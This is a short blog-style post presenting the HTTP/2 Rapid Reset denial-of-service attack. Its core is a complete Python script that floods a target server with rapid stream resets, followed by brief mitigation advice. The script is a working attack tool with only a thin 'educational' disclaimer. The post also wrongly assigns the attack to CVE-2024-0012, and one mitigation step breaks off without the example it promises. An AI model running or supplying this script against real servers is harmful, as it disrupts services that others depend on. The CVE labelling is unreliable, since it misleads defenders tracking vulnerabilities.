CVE-2024-0012 — Hem Parekh

What is CVE-2024–0012?

CVE-2024–0012, known as the HTTP/2 Rapid Reset Attack, was disclosed, affecting major web servers like Apache and Nginx. This denial-of-service (DoS) vulnerability exploits HTTP/2’s stream management system by abusing the RST_STREAM frame. By overwhelming the server with rapid stream resets, attackers can exhaust resources and disrupt services.

How the Vulnerability Works

HTTP/2 and RST_STREAM

HTTP/2 allows multiplexing multiple streams over a single connection. The RST_STREAM frame cancels streams when they are no longer needed. However, attackers can send a rapid series of RST_STREAM frames, forcing the server to process and discard streams at an unsustainable rate, leading to resource exhaustion.

Exploit Code Example

Below is an educational example in Python that demonstrates how an attacker could exploit this vulnerability using an HTTP/2 library.

import h2.connection

import h2.events

import socket

import ssl

import time

# Configure target server

TARGET_HOST = "vulnerable-server.com"

TARGET_PORT = 443

STREAM_COUNT = 1000  # Number of streams to abuse

def send_reset_attack():

    # Establish SSL/TLS connection

    context = ssl.create_default_context()

    with socket.create_connection((TARGET_HOST, TARGET_PORT)) as raw_sock:

        with context.wrap_socket(raw_sock, server_hostname=TARGET_HOST) as tls_sock:

            # Initialize HTTP/2 connection

            conn = h2.connection.H2Connection()

            conn.initiate_connection()

            tls_sock.sendall(conn.data_to_send())

            # Send multiple streams with rapid resets

            for stream_id in range(1, STREAM_COUNT * 2, 2):  # HTTP/2 streams are odd-numbered

                conn.send_headers(

                    stream_id=stream_id,

                    headers=[

                        (":method", "GET"),

                        (":path", "/"),

                        (":authority", TARGET_HOST),

                        (":scheme", "https"),

                    ],

                )

                tls_sock.sendall(conn.data_to_send())

                conn.reset_stream(stream_id)

                tls_sock.sendall(conn.data_to_send())

                print(f"Stream {stream_id} reset sent")

            time.sleep(5)

if __name__ == "__main__":

    print(f"Launching HTTP/2 Rapid Reset Attack on {TARGET_HOST}...")

    send_reset_attack()

    print("Attack complete. Check server performance.")

Disclaimer: This code is for educational purposes only. Testing such exploits without proper authorization is unethical and illegal.

Mitigation Strategies

Apply Server Patches: Server vendors like Apache and Nginx have released patches to mitigate this vulnerability. Update your software to the latest version.
Implement Rate-Limiting: Use rate-limiting to restrict the number of HTTP/2 streams and resets per connection.
Monitor Server Metrics: Deploy monitoring tools to detect unusual spikes in resource usage associated with HTTP/2 traffic.
Disable HTTP/2 Temporarily: If patching is not feasible, disable HTTP/2 support as a temporary mitigation:
- For Apache: Remove h2 from the Protocols directive:
- For Nginx: Remove the http2 directive from server configurations.

Conclusion

CVE-2024–0012, or the HTTP/2 Rapid Reset Attack, underscores the importance of securing web servers against denial-of-service attacks. By applying timely patches, implementing rate-limiting, and monitoring server activity, organizations can mitigate this threat and ensure the availability of their services.